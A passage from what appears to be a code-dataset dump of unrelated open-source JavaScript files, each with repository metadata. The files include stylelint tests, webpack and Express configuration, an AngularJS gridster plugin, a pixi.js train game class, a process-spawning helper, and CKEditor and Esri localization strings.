    column: 13,
  }, {
    code: "@media print{ a { color: pink; } }",
    message: messages.rejectedBefore(),
    line: 1,
    column: 16,
  } ],
})
testRule(rule, {
  ruleName,
  config: ["always-single-line"],
  accept: [ {
    code: "a { color: pink; }",
  }, {
    code: "@media print { a { color: pink; } }",
  }, {
    code: "a{ color:\npink; }",
  }, {
    code: "@media print { a{ color:\npink; } }",
  }, {
    code: "@media print{ a { color:\npink; } }",
  }, {
    code: "@media print{\na { color: pink; } }",
  } ],
  reject: [ {
    code: "a{ color: pink; }",
    message: messages.expectedBeforeSingleLine(),
    line: 1,
    column: 1,
  }, {
    code: "a  { color: pink; }",
    message: messages.expectedBeforeSingleLine(),
    line: 1,
    column: 3,
  }, {
    code: "a\t{ color: pink; }",
    message: messages.expectedBeforeSingleLine(),
    line: 1,
    column: 2,
  }, {
    code: "a\n{ color: pink; }",
    message: messages.expectedBeforeSingleLine(),
    line: 1,
    column: 2,
  }, {
    code: "a\r\n{ color: pink; }",
    description: "CRLF",
    message: messages.expectedBeforeSingleLine(),
    line: 1,
    column: 2,
  }, {
    code: "@media print\n{ a { color: pink; } }",
    message: messages.expectedBeforeSingleLine(),
    line: 1,
    column: 13,
  }, {
    code: "@media print { a\n{ color: pink; } }",
    message: messages.expectedBeforeSingleLine(),
    line: 1,
    column: 17,
  } ],
})
testRule(rule, {
  ruleName,
  config: ["never-single-line"],
  accept: [ {
    code: "a{ color: pink; }",
  }, {
    code: "@media print{ a{ color: pink; } }",
  }, {
    code: "a { color:\npink; }",
  }, {
    code: "a { color:\r\npink; }",
    description: "CRLF",
  }, {
    code: "@media print { a { color:\npink; } }",
  }, {
    code: "@media print{ a{ color:\npink; } }",
  }, {
    code: "@media print {\na{ color: pink; } }",
  }, {
    code: "@media print{\na{ color: pink; } }",
  }, {
    code: "@media print{\r\na{ color: pink; } }",
    description: "CRLF",
  } ],
  reject: [ {
    code: "a { color: pink; }",
    message: messages.rejectedBeforeSingleLine(),
    line: 1,
    column: 2,
  }, {
    code: "a  { color: pink; }",
    message: messages.rejectedBeforeSingleLine(),
    line: 1,
    column: 3,
  }, {
    code: "a\t{ color: pink; }",
    message: messages.rejectedBeforeSingleLine(),
    line: 1,
    column: 2,
  }, {
    code: "a\n{ color: pink; }",
    message: messages.rejectedBeforeSingleLine(),
    line: 1,
    column: 2,
  }, {
    code: "a\r\n{ color: pink; }",
    description: "CRLF",
    message: messages.rejectedBeforeSingleLine(),
    line: 1,
    column: 2,
  }, {
    code: "@media print { a{ color: pink; } }",
    message: messages.rejectedBeforeSingleLine(),
    line: 1,
    column: 13,
  }, {
    code: "@media print{ a { color: pink; } }",
    message: messages.rejectedBeforeSingleLine(),
    line: 1,
    column: 16,
  } ],
})
testRule(rule, {
  ruleName,
  config: ["always-multi-line"],
  accept: [ {
    code: "a { color: pink;\nbackground: orange; }",
  }, {
    code: "@media print {\na { color: pink;\nbackground: orange } }",
  }, {
    code: "@media print {\r\na { color: pink;\r\nbackground: orange } }",
    description: "CRLF",
  }, {
    code: "a { color: pink; }",
  }, {
    code: "@media print { a { color: pink; } }",
  }, {
    code: "a{ color: pink; }",
  }, {
    code: "a  { color: pink; }",
  }, {
    code: "a\t{ color: pink; }",
  } ],
  reject: [ {
    code: "a{ color: pink;\nbackground: orange; }",
    message: messages.expectedBeforeMultiLine(),
    line: 1,
    column: 1,
  }, {
    code: "a  { color: pink;\nbackground: orange; }",
    message: messages.expectedBeforeMultiLine(),
    line: 1,
    column: 3,
  }, {
    code: "a\t{ color: pink;\nbackground: orange; }",
    message: messages.expectedBeforeMultiLine(),
    line: 1,
    column: 2,
  }, {
    code: "a\n{ color: pink;\nbackground: orange; }",
    message: messages.expectedBeforeMultiLine(),
    line: 1,
    column: 2,
  }, {
    code: "a\r\n{ color: pink;\r\nbackground: orange; }",
    description: "CRLF",
    message: messages.expectedBeforeMultiLine(),
    line: 1,
    column: 2,
  }, {
    code: "@media print\n{\na { color: pink;\nbackground: orange; } }",
    message: messages.expectedBeforeMultiLine(),
    line: 1,
    column: 13,
  }, {
    code: "@media print { a\n{ color: pink;\nbackground: orange; } }",
    message: messages.expectedBeforeMultiLine(),
    line: 1,
    column: 17,
  } ],
})
testRule(rule, {
  ruleName,
  config: ["never-multi-line"],
  accept: [ {
    code: "a{ color: pink;\nbackground: orange; }",
  }, {
    code: "@media print{\na{ color: pink;\nbackground: orange } }",
  }, {
    code: "@media print{\r\na{ color: pink;\r\nbackground: orange } }",
    description: "CRLF",
  }, {
    code: "a { color: pink; }",
  }, {
    code: "@media print { a { color: pink; } }",
  }, {
    code: "a{ color: pink; }",
  }, {
    code: "a  { color: pink; }",
  }, {
    code: "a\t{ color: pink; }",
  } ],
  reject: [ {
    code: "a { color: pink;\nbackground: orange; }",
    message: messages.rejectedBeforeMultiLine(),
    line: 1,
    column: 2,
  }, {
    code: "a  { color: pink;\nbackground: orange; }",
    message: messages.rejectedBeforeMultiLine(),
    line: 1,
    column: 3,
  }, {
    code: "a\t{ color: pink;\nbackground: orange; }",
    message: messages.rejectedBeforeMultiLine(),
    line: 1,
    column: 2,
  }, {
    code: "a\n{ color: pink;\nbackground: orange; }",
    message: messages.rejectedBeforeMultiLine(),
    line: 1,
    column: 2,
  }, {
    code: "@media print\n{\na{ color: pink;\nbackground: orange; } }",
    message: messages.rejectedBeforeMultiLine(),
    line: 1,
    column: 13,
  }, {
    code: "@media print{ a\n{ color: pink;\nbackground: orange; } }",
    message: messages.rejectedBeforeMultiLine(),
    line: 1,
    column: 16,
  }, {
    code: "@media print{ a\r\n{ color: pink;\r\nbackground: orange; } }",
    description: "CRLF",
    message: messages.rejectedBeforeMultiLine(),
    line: 1,
    column: 16,
  } ],
})
 | 
	gaidarenko/stylelint | 
	src/rules/block-opening-brace-space-before/__tests__/index.js | 
	JavaScript | 
	mit | 8,936 | 
| 
	'use strict';
/**
 * Module dependencies.
 */
var mapsPolicy = require('../policies/maps.server.policy'),
    maps = require('../controllers/maps.server.controller');
module.exports = function(app) {
    // Articles collection routes
    app.route('/api/maps').all(mapsPolicy.isAllowed)
        .get(maps.list)
        .post(maps.create);
    // Single map routes
    app.route('/api/maps/:mapId').all(mapsPolicy.isAllowed)
        .get(maps.read)
        .put(maps.update)
        .delete(maps.delete);
    // Finish by binding the map middleware
    app.param('mapId', maps.mapByID);
}; | 
	mezae/pfpundergrads | 
	modules/articles/server/routes/maps.server.routes.js | 
	JavaScript | 
	mit | 592 | 
| 
	import path from 'path';
import webpack from 'webpack';
import config from '../config'
let webpackConfig = {
  entry: {
    vendor: [path.join(__dirname, 'vendors/vendors.js')]
  },
  output: {
    path: path.join(config.path_dist),
    filename: 'dll.[name].js',
    library: '[name]'
  },
  plugins: [
    new webpack.DefinePlugin(config.globals),
    new webpack.DllPlugin({
      path: path.join(config.path_dist, '[name]-manifest.json'),
      name: '[name]',
      context: path.resolve(__dirname, '../app')
    })
  ],
  resolve: {
    root: path.resolve(__dirname, '../app'),
    modulesDirectories: ['node_modules']
  }
};
if (process.env.NODE_ENV === 'production') {
  webpackConfig.plugins.push(
    new webpack.optimize.OccurrenceOrderPlugin(),
    new webpack.optimize.DedupePlugin(),
    new webpack.optimize.UglifyJsPlugin({
      compress: {
        unused: true,
        dead_code: true
      }
    })
  )
}
const compiler = webpack(webpackConfig);
compiler.run((err, stats) => {
  console.log(stats.toString({
    chunks : false,
    chunkModules : false,
    colors : true
  }));
});
 | 
	voicebase/voicebase-end-user-experience | 
	webpack/webpack.dll.js | 
	JavaScript | 
	mit | 1,106 | 
| 
	var fs = require('fs');
var _ = require('lodash');
var logger = require('winston');
function Lint() {
    /**
     * @type {string}
     */
    this.file = null;
    /**
     * @type {string}
     */
    this.pass = null;
    /**
     * @type {string}
     */
    this.original = null;
    /**
     * @type {string[]}
     */
    this.lines = null;
    /**
     * @param {string} file
     */
    this.read = function (file) {
        this.file = file;
        this.original = fs.readFileSync(file, 'utf8');
        this.original = this.original.replace(/\t/g, '    ');
        this.lines = this.original.replace(/[\r]/g, "").split("\n");
    };
    /**
     *
     */
    this.clear = function () {
        this.file = null;
        this.original = null;
        this.lines = null;
    };
    /**
     * @returns {boolean}
     */
    this.isJs = function () {
        return !this.isTest() && _.endsWith(this.file.toLowerCase(), ".js");
    };
    /**
     * @returns {boolean}
     */
    this.isTest = function () {
        return _.endsWith(this.file.toLowerCase(), ".spec.js") || _.endsWith(this.file.toLowerCase(), ".test.js");
    };
    /**
     * @returns {boolean}
     */
    this.isHTML = function () {
        return _.endsWith(this.file.toLowerCase(), ".html");
    };
    /**
     * @param {Number} offset
     * @returns {{line:Number,column:Number}}
     */
    this.getCoordsByOffset = function (offset) {
        var lines = this.original.substr(0, offset).split("\n");
        return {
            line: lines.length,
            column: _.last(lines).length + 1,
            text: this.lines[lines.length - 1]
        }
    };
    /**
     * Executes the callback for each line in the file.
     *
     * @param {function(string)} fn
     * @param {*=} thisArg
     */
    this.each = function (fn, thisArg) {
        for (this.line = 0; this.line < this.lines.length; this.line++) {
            fn.call(thisArg || this, this.lines[this.line]);
        }
    };
    /**
     * Executes the callback for each regexp match.
     *
     * @param {RegExp} regex
     * @param {function(Array)} fn
     * @param {*=} thisArg
     */
    this.match = function (regex, fn, thisArg) {
        var match;
        while ((match = regex.exec(this.original)) != null) {
            // attach a convenient log method
            match.log = function (match, msg) {
                var coords = this.getCoordsByOffset(match.index);
                console.log(this.file + ':' + coords.line + ',' + coords.column);
                console.log(coords.text);
                console.log(Array(coords.column).join(' ') + '^');
                console.log(msg);
                console.log();
            }.bind(this, match);
            fn.call(thisArg, match);
        }
    };
}
var LinkObj = new Lint();
logger.extend(LinkObj);
module.exports = LinkObj; | 
	thinkingmedia/nglint | 
	src/lint.js | 
	JavaScript | 
	mit | 2,873 | 
| 
	/*
Copyright (c) 2003-2015, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.md or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'adv_link', 'sq', {
	acccessKey: 'Sipas ID-së së Elementit',
	advanced: 'Të përparuara',
	advisoryContentType: 'Lloji i Përmbajtjes Këshillimore',
	advisoryTitle: 'Titull',
	anchor: {
		toolbar: 'Spirancë',
		menu: 'Redakto Spirancën',
		title: 'Anchor Properties', // MISSING
		name: 'Emri i Spirancës',
		errorName: 'Ju lutemi shkruani emrin e spirancës',
		remove: 'Largo Spirancën'
	},
	anchorId: 'Sipas ID-së së Elementit',
	anchorName: 'Sipas Emrit të Spirancës',
	charset: 'Seti i Karaktereve të Burimeve të Nëdlidhura',
	cssClasses: 'Klasa stili CSS',
	emailAddress: 'Posta Elektronike',
	emailBody: 'Trupi i Porosisë',
	emailSubject: 'Titulli i Porosisë',
	id: 'Id',
	info: 'Informacione të Nyjes',
	langCode: 'Kod gjuhe',
	langDir: 'Drejtim teksti',
	langDirLTR: 'Nga e majta në të djathë (LTR)',
	langDirRTL: 'Nga e djathta në të majtë (RTL)',
	menu: 'Redakto Nyjen',
	name: 'Emër',
	noAnchors: '(Nuk ka asnjë spirancë në dokument)',
	noEmail: 'Ju lutemi shkruani postën elektronike',
	noUrl: 'Ju lutemi shkruani URL-në e nyjes',
	other: '<tjetër>',
	popupDependent: 'E Varur (Netscape)',
	popupFeatures: 'Karakteristikat e Dritares së Dialogut',
	popupFullScreen: 'Ekran i Plotë  (IE)',
	popupLeft: 'Pozita Majtas',
	popupLocationBar: 'Shiriti i Lokacionit',
	popupMenuBar: 'Shiriti i Menysë',
	popupResizable: 'I ndryshueshëm',
	popupScrollBars: 'Shiritat zvarritës',
	popupStatusBar: 'Shiriti i Statutit',
	popupToolbar: 'Shiriti i Mejteve',
	popupTop: 'Top Pozita',
	rel: 'Marrëdhëniet',
	selectAnchor: 'Përzgjidh një Spirancë',
	styles: 'Stil',
	tabIndex: 'Indeksi i fletave',
	target: 'Objektivi',
	targetFrame: '<frame>',
	targetFrameName: 'Emri i Kornizës së Synuar',
	targetPopup: '<popup window>',
	targetPopupName: 'Emri i Dritares së Dialogut',
	title: 'Nyja',
	toAnchor: 'Lidhu me spirancën në tekst',
	toEmail: 'Posta Elektronike',
	toUrl: 'URL',
	toolbar: 'Nyja',
	type: 'Lloji i Nyjes',
	unlink: 'Largo Nyjen',
	upload: 'Ngarko'
} );
 | 
	theus77/ElasticMS | 
	src/AppBundle/Resources/public/adv_link/lang/sq.js | 
	JavaScript | 
	mit | 2,182 | 
| 
	#!/usr/bin/env node
const http = require('http');
const config = require('../config');
const http_code = process.env.HEALTHCHECK_CODE || 200;
const options = {
  host: 'localhost',
  port: process.env.IDM_PORT || config.port,
  timeout: 2000,
  method: 'GET',
  path: process.env.HEALTHCHECK_PATH || '/version'
};
const request = http.request(options, (result) => {
  // eslint-disable-next-line no-console
  console.info(`Performed health check, result ${result.statusCode}`);
  if (result.statusCode === http_code) {
    process.exit(0);
  } else {
    process.exit(1);
  }
});
request.on('error', (err) => {
  // eslint-disable-next-line no-console
  console.error(`An error occurred while performing health check, error: ${err}`);
  process.exit(1);
});
request.end();
 | 
	ging/fiware-idm | 
	bin/healthcheck.js | 
	JavaScript | 
	mit | 778 | 
| 
	version https://git-lfs.github.com/spec/v1
oid sha256:3739b485ac39b157caa066b883e4d9d3f74c50beff0b86cd8a24ce407b179a23
size 93867
 | 
	yogeshsaroya/new-cdnjs | 
	ajax/libs/datatables/1.9.1/js/jquery.js | 
	JavaScript | 
	mit | 130 | 
| 
	/**
 * @license Angular UI Gridster v0.4.1
 * (c) 2010-2014. https://github.com/JimLiu/angular-ui-gridster
 * License: MIT
 */
(function () {
  'use strict';
  angular.module('ui.gridster', [])
    .constant('uiGridsterConfig', {
      widget_margins: [10, 10],
      widget_base_dimensions: [100, 100],
      widget_selector: '.ui-gridster-item',
      resize: {
        enabled: false
      }
    });
})();
(function() {
  'use strict';
  angular.module('ui.gridster')
  .controller('GridsterController', ['$scope', '$element', '$attrs',
    function($scope, $element, $attrs) {
      this.scope = $scope;
      this.element = $element;
      $scope.$dragEnabled = true;
      $scope.$modelValue = null;
      var gridster = null;
      $scope.init = function(element, options) {
        gridster = element.gridster(options).data('gridster');
        return gridster;
      };
      this.addItem = function(element, sizeX, sizeY, col, row) {
        if (gridster) {
          return gridster.add_widget(element, sizeX, sizeY, col, row);
        }
        return null;
      };
      this.removeItem = function(element) {
        if (gridster) {
          gridster.remove_widget(element, function() {
            $scope.$apply();
          });
        }
      };
      this.resizeItem = function(widget, sizeX, sizeY) {
        if (gridster && widget) {
          gridster.resize_widget(widget, sizeX, sizeY);
        }
      };
      $scope.serializeToJson = function() {
        var s = gridster.serialize();
        return JSON.stringify(s);
      };
      $scope.applyChanges = function() {
        var items = gridster.serialize();
        angular.forEach(items, function(item, index) {
          var widget = $scope.$modelValue[index];
          widget.sizeX = item.size_x;
          widget.sizeY = item.size_y;
          widget.row = item.row;
          widget.col = item.col;
        });
      };
    }
  ]);
})();
(function() {
  'use strict';
  angular.module('ui.gridster')
    .directive('uiGridster', ['uiGridsterConfig', '$timeout',
      function(uiGridsterConfig, $timeout) {
        return {
          restrict: 'A',
          scope: true,
          controller: 'GridsterController',
          require: 'ngModel',
          link: function(scope, element, attrs, ngModel) {
            var options = {
              draggable: {},
              resize: {}
            };
            var gridster;
            options = angular.extend(options, uiGridsterConfig);
            function combineCallbacks(first,second){
              if(second && (typeof second === 'function')) {
                return function(e, ui) {
                  first(e, ui);
                  second(e, ui);
                };
              }
              return first;
            }
            options.draggable.stop = function(event, ui) {
              scope.$apply();
            };
            options.resize.stop = function(event, ui, $widget) {
              scope.$apply();
            };
            if (ngModel) {
              ngModel.$render = function() {
                if (!ngModel.$modelValue || !angular.isArray(ngModel.$modelValue)) {
                  scope.$modelValue = [];
                }
                scope.$modelValue = ngModel.$modelValue;
              };
            }
            attrs.$observe('uiGridster', function(val) {
              var gval = scope.$eval(val);
              if((typeof gval) != 'undefined') {
                if (gval.draggable) {
                  if (gval.draggable.stop) {
                    gval.draggable.stop = combineCallbacks(options.draggable.stop, gval.draggable.stop);
                  } else {
                    gval.draggable.stop = options.resize.stop;
                  }
                }
                if (gval.resize) {
                  if (gval.resize.stop) {
                    gval.resize.stop = combineCallbacks(options.resize.stop, gval.resize.stop);
                  } else {
                    gval.resize.stop = options.resize.stop;
                  }
                }
                angular.extend(options, gval);
              }
              gridster = scope.init(element, options);
            });
            scope.$watch(function() {
              return scope.$eval(attrs.gridsterDragEnabled);
            }, function(val) {
              if((typeof val) == "boolean") {
                scope.$dragEnabled = val;
                if (!gridster) {
                  return;
                }
                if (val) {
                  gridster.enable();
                }
                else {
                  gridster.disable();
                }
              }
            });
          }
        };
      }
    ]);
})();
(function() {
  'use strict';
  angular.module('ui.gridster')
    .directive('uiGridsterItem', ['$compile',
      function($compile) {
        return {
          restrict: 'A',
          require: '^uiGridster',
          link: function(scope, element, attrs, controller) {
            var gridsterItem = null;
            var widget = element;
            element.addClass('ui-gridster-item');
            scope.gridsterItem = null;
            attrs.$observe('uiGridsterItem', function(val) {
              var ival = scope.$eval(val);
              if((typeof ival) == 'object') {
                gridsterItem = ival;
                scope.gridsterItem = gridsterItem;
                var placeHolder = $('<li></li>');
                element.replaceWith(placeHolder);
                var widget = controller.addItem(element, gridsterItem.sizeX, gridsterItem.sizeY,
                    gridsterItem.col, gridsterItem.row);
                $compile(widget.contents())(scope);
                placeHolder.replaceWith(widget);
                widget.bind('$destroy', function() {
                  controller.removeItem(widget);
                });
                scope.$watch(function() {
                  return widget.attr('data-col');
                }, function(val) {
                  gridsterItem.col = parseInt(val);
                });
                scope.$watch(function() {
                  return widget.attr('data-row');
                }, function(val) {
                  gridsterItem.row = parseInt(val);
                });
                scope.$watch(function() {
                  return widget.attr('data-sizex');
                }, function(val) {
                  gridsterItem.sizeX = parseInt(val);
                });
                scope.$watch(function() {
                  return widget.attr('data-sizey');
                }, function(val) {
                  gridsterItem.sizeY = parseInt(val);
                });
              }
            });
            scope.$watchCollection('[gridsterItem.sizeX, gridsterItem.sizeY]', function(newValues) {
              if (newValues[0] && newValues[1]) {
                controller.resizeItem(widget, newValues[0], newValues[1]);
              }
            });
          }
        };
      }
    ]);
})(); | 
	JimLiu/angular-ui-gridster | 
	dist/angular-ui-gridster.js | 
	JavaScript | 
	mit | 7,041 | 
| 
	/**
 * Created by Liza on 21.07.2015.
 */
var pixi = require("pixi.js")
var Point = pixi.Point;
var Tracker = require('../core').Tracker;
function Train(way, resources) {
    pixi.Container.call(this);
    this.carSize = 90/2;//way.segments[0].rails.scale.x;
    this.offset = 2;
    this.wheels = [];
    this.way = way;
    this.maxVelocity = 100;
    this.velocity = 0;
    this.traction = 2;
    this.traveled = 0;
    this.traveledTime = 0;
    this.resources = resources;
    this.wagon = [];
    var w = 192;
    for (var i=0;i<32;i++) {
        this.wagon.push(new pixi.Texture(resources['wagon'].texture, new pixi.Rectangle((i&7) * w, (i>>3) * w, w, w)));
    }
    this.loco = [];
    for (var i=0;i<32;i++) {
        this.loco.push(new pixi.Texture(resources['loco'].texture, new pixi.Rectangle((i&7) * w, (i>>3) * w, w, w)));
    }
}
Train.prototype = Object.create(pixi.Container.prototype);
Train.prototype.constructor = Train;
module.exports = Train;
Train.prototype.init = function(carCount, options, listener) {
    carCount = carCount || 1;
    var way = this.way;
    for (var i=0;i<carCount; i++) {
        var p = (this.carSize + this.offset) * i + this.carSize / 2;
        this.wheels.push(new Tracker(p - this.carSize / 2, way.segments[0]));
        this.wheels.push(new Tracker(p + this.carSize / 2, way.segments[0]));
    }
    this.cars = [];
    for (var i=0;i<carCount; i++) {
        var spr = new pixi.Sprite((i==0 || i==carCount-1)? this.loco[0]: this.wagon[0]);
        spr.anchor.x = spr.anchor.y = 0.5;
        spr.position.y = -10;
        this.cars.push(spr);
    }
    this.listener = listener;
    this.update(0, options);
}
Train.prototype.sync = function() {
    var rail = this.wheels[0].rail;
    var pos = this.wheels[0].pos;
    for (var i=0;i<this.cars.length; i++) {
        var p = (this.carSize + this.offset) * i + this.carSize / 2;
        this.wheels[i*2].rail = rail;
        this.wheels[i*2].pos = pos + p - this.carSize/2;
        this.wheels[i*2+1].rail = rail;
        this.wheels[i*2+1].pos = pos + p + this.carSize/2;
    }
}
Train.prototype.frontWheel = function() {
    return this.wheels[this.wheels.length-1];
}
Train.prototype.backWheel = function() {
    return this.wheels[0];
}
Train.prototype.update = function (dt, options) {
    this.sync();
    this.maxVelocity = (options.trainMaxSpeed - options.trainStartSpeed ) * Math.min(1, this.traveled / options.trainDistanceBeforeMaxSpeed) + options.trainStartSpeed;
    this.way.level.randomWay = this.maxVelocity >= options.trainRandomWaySpeed;
    this.traveled += dt * this.velocity;
    this.traveledTime += dt;
    for (var i = 0; i<this.cars.length;i++) {
        var car = this.cars[i];
        var back = this.wheels[i*2], front = this.wheels[i*2+1];
        front.move(dt * this.velocity);
        back.move(dt * this.velocity);
        var p1 = front.getPos();
        var p2 = back.getPos();
        car.position.x = (p1.x+p2.x)/2;
        car.position.y = (p1.y+p2.y)/2 - 6;
        if (Math.abs(p2.x-p1.x) + Math.abs(p2.y- p1.y) > 1e-5) {
            var ang = Math.atan2(p2.y - p1.y, p2.x - p1.x);
            var ang2 = Math.round(ang / (Math.PI / 16));
            ang -= ang2 * (Math.PI/16);
            var ang3 = (ang2 + 72)%32;
            var t = (i==0 || i== this.cars.length-1)?this.loco:this.wagon;
            if (i >= this.cars.length/2)
                car.texture = t[ang3];
            else
                car.texture = t[(ang3+16)%32];
            car.rotation = ang;
        }
    }
    var p = this.coord = this.frontWheel().pos + this.frontWheel().rail.coord;
    var obstacles = this.way.obstacles;
    var acc = this.maxVelocity / this.traction;
    var vel = this.velocity;
    var newVel = Math.min(this.maxVelocity, vel + acc * dt);
    var w = this.backWheel();
    var b = w.pos + w.rail.coord;
    var near = 0, nearDist = 10000;
    for (var i=0;i<obstacles.length;i++){
        var obst = obstacles[i];
        if (obst.state<2) {
            var c = obst.coord - p - 10;
            if (c < nearDist) {
                near = obst;
                nearDist = c;
            }
            if (c <= vel*vel / 2 / acc && (obst.state==0 || c <= vel * obst.timeLeft)) {
                newVel = Math.max(0, Math.min(vel - acc * dt, newVel));
            }
            if (c <= options.showTipDistance && obst.state == 0 && !obst.shown) {
                this.listener && this.listener.onshow(obst);
                obst.shown = true;
            }
        }
        //TODO: move it into RUNNER code
        if (obst.state == 3 && obst.coord + this.carSize *3/5 < b) {
            obst.state = 4;
        }
        if (!obst.shown && obst.state == 5) {
            this.listener && this.listener.onshow(obst);
            obst.shown = true;
        }
        if (obst.state == 4 || obst.state==5) {
            obst.coord = b;
            w.rail.pointAt(w.pos, obst.position);
            if (obst.state == 5 && obst.spr && obst.spr.dieIn < 1e-3) {
                this.listener && this.listener.onend(obst);
            }
        }
    }
    this.velocity = newVel;
    if (newVel < 1e-3 && nearDist < 20) {
        this.listener && this.listener.onend(near);
    }
};
 | 
	szhigunov/railways | 
	src/game/Train.js | 
	JavaScript | 
	mit | 5,243 | 
| 
	/*
 * Swampfile.js
 *
 * This file is a Swamp configurations file generated automatically
 *
 * Copyright (c) 2014 Udi Talias
 * Licensed under the MIT license.
 * https://github.com/uditalias/swamp/blob/master/LICENSE
 */
module.exports = function(swamp) {
    swamp.config({
      params : {
        base_path:process.cwd()
      },
        options: {
            silence: false,
            monitor: {
                cpu: true,
                memory: true
            },
            dashboard: {
                hostname: 'localhost',
                port: 2121,
                autoLaunch: true
            }
        },
        environments: [
            {
                name: "development",
                PORT: 8080
            },
            {
                name: "production",
                PORT: 80
            }
        ],
        services: [
                  {
                name: "test-app1",
                description: "test app 1",
                path: "<%= params.base_path %>",
                command: "python",
                args: ["python-app.py"],
                options: {
                    autorun: true,
                    defaultEnv: 'development',
                    restartOnChange: false,
                    runForever: true,
                    maxRetries: -1
                },
                environments: [
                    {
                        name: "development",
                        PORT: 9999
                    },
                    
                ]
            },
        ]
    });
}
 | 
	uditalias/swamp | 
	test/bats/valid/Swampfile.js | 
	JavaScript | 
	mit | 1,578 | 
| 
	var signalExit = require('signal-exit')
var spawn = require('child_process').spawn
var crossSpawn = require('cross-spawn-async')
var fs = require('fs')
var which = require('which')
function needsCrossSpawn (exe) {
  if (process.platform !== 'win32') {
    return false
  }
  try {
    exe = which.sync(exe)
  } catch (er) {
    // failure to find the file?  cmd probably needed.
    return true
  }
  if (/\.(com|cmd|bat)$/i.test(exe)) {
    // need cmd.exe to run command and batch files
    return true
  }
  var buffer = new Buffer(150)
  try {
    var fd = fs.openSync(exe, 'r')
    fs.readSync(fd, buffer, 0, 150, 0)
  } catch (e) {
    // If it's not an actual file, probably it needs cmd.exe.
    // also, would be unsafe to test arbitrary memory on next line!
    return true
  }
  return /\#\!(.+)/i.test(buffer.toString().trim())
}
module.exports = function (program, args, cb) {
  var arrayIndex = arguments.length
  if (typeof args === 'function') {
    cb = args
    args = undefined
  } else {
    cb = Array.prototype.slice.call(arguments).filter(function (arg, i) {
      if (typeof arg === 'function') {
        arrayIndex = i
        return true
      }
    })[0]
  }
  cb = cb || function (done) {
    return done()
  }
  if (Array.isArray(program)) {
    args = program.slice(1)
    program = program[0]
  } else if (!Array.isArray(args)) {
    args = [].slice.call(arguments, 1, arrayIndex)
  }
  var spawnfn = needsCrossSpawn(program) ? crossSpawn : spawn
  var child = spawnfn(program, args, { stdio: 'inherit' })
  var childExited = false
  signalExit(function (code, signal) {
    child.kill(signal || 'SIGHUP')
  })
  child.on('close', function (code, signal) {
    // Allow the callback to inspect the child’s exit code and/or modify it.
    process.exitCode = signal ? 128 + signal : code
    cb(function () {
      childExited = true
      if (signal) {
        // If there is nothing else keeping the event loop alive,
        // then there's a race between a graceful exit and getting
        // the signal to this process.  Put this timeout here to
        // make sure we're still alive to get the signal, and thus
        // exit with the intended signal code.
        setTimeout(function () {}, 200)
        process.kill(process.pid, signal)
      } else {
        // Equivalent to process.exit() on Node.js >= 0.11.8
        process.exit(process.exitCode)
      }
    })
  })
  return child
}
 | 
	Goldtean/addition-goldtean | 
	node_modules/foreground-child/index.js | 
	JavaScript | 
	mit | 2,445 | 
| 
	///////////////////////////////////////////////////////////////////////////
// Copyright © Esri. All Rights Reserved.
//
// Licensed under the Apache License Version 2.0 (the 'License');
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
//    http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an 'AS IS' BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
///////////////////////////////////////////////////////////////////////////
define({
  "_widgetLabel": "Анализ стоимости",
  "unableToFetchInfoErrMessage": "Невозможно вызвать информацию слоя сервиса геометрии/настроенного",
  "invalidCostingGeometryLayer": "Невозможно получить 'esriFieldTypeGlobalID' в слое геометрии расчета стоимости.",
  "projectLayerNotFound": "Невозможно найти настроенный слой проекта на карте.",
  "costingGeometryLayerNotFound": "Невозможно найти настроенный слой геометрии расчета стоимости на карте.",
  "projectMultiplierTableNotFound": "Невозможно найти настроенную таблицу множителя добавочной стоимости проекта на карте.",
  "projectAssetTableNotFound": "Невозможно найти настроенную таблицу объектов проекта на карте.",
  "createLoadProject": {
    "createProjectPaneTitle": "Создать проект",
    "loadProjectPaneTitle": "Загрузить проект",
    "projectNamePlaceHolder": "Название проекта",
    "projectDescPlaceHolder": "Описание проекта",
    "selectProject": "Выбрать проект",
    "viewInMapLabel": "Просмотреть на карте",
    "loadLabel": "Загрузить",
    "createLabel": "Создать",
    "deleteProjectConfirmationMsg": "Вы уверены, что хотите удалить проект?",
    "noAssetsToViewOnMap": "В выбранном проекте нет объектов для показа на карте.",
    "projectDeletedMsg": "Проект успешно удален.",
    "errorInCreatingProject": "Ошибка создания проекта.",
    "errorProjectNotFound": "Проект не найден.",
    "errorInLoadingProject": "Проверьте, что выбран корректный проект.",
    "errorProjectNotSelected": "Выбрать проект в ниспадающем списке",
    "errorDuplicateProjectName": "Имя проекта уже существует.",
    "errorFetchingPointLabel": "Ошибка при получении подписи точки. Повторите попытку еще раз",
    "errorAddingPointLabel": "Ошибка при добавлении подписи точки. Повторите попытку еще раз"
  },
  "statisticsSettings": {
    "tabTitle": "Настройки статистики",
    "addStatisticsLabel": "Добавить статистику",
    "addNewStatisticsText": "Добавить новую статистику",
    "deleteStatisticsText": "Удалить статистику",
    "moveStatisticsUpText": "Переместить статистику вверх",
    "moveStatisticsDownText": "Переместить статистику вниз",
    "layerNameTitle": "Слой",
    "statisticsTypeTitle": "Тип",
    "fieldNameTitle": "Поле",
    "statisticsTitle": "Подпись",
    "actionLabelTitle": "Действия",
    "selectDeselectAllTitle": "Выбрать все",
    "layerCheckbox": "Отметка слоя"
  },
  "statisticsType": {
    "countLabel": "Количество",
    "averageLabel": "Среднее арифметическое",
    "maxLabel": "Максимум",
    "minLabel": "Минимум",
    "summationLabel": "Суммирование",
    "areaLabel": "Площадь",
    "lengthLabel": "Длина"
  },
  "costingInfo": {
    "noEditableLayersAvailable": "Слои, которые должны быть отмечена как редактируемые на вкладке настроек слоя"
  },
  "workBench": {
    "refresh": "Обновить",
    "noAssetAddedMsg": "Нет добавленный объектов",
    "units": "единицы измерения",
    "assetDetailsTitle": "Информация об элементе объекта",
    "costEquationTitle": "Уравнение стоимости",
    "newCostEquationTitle": "Новое уравнение",
    "defaultCostEquationTitle": "Уравнение по умолчанию",
    "geographyTitle": "География",
    "scenarioTitle": "Сценарий",
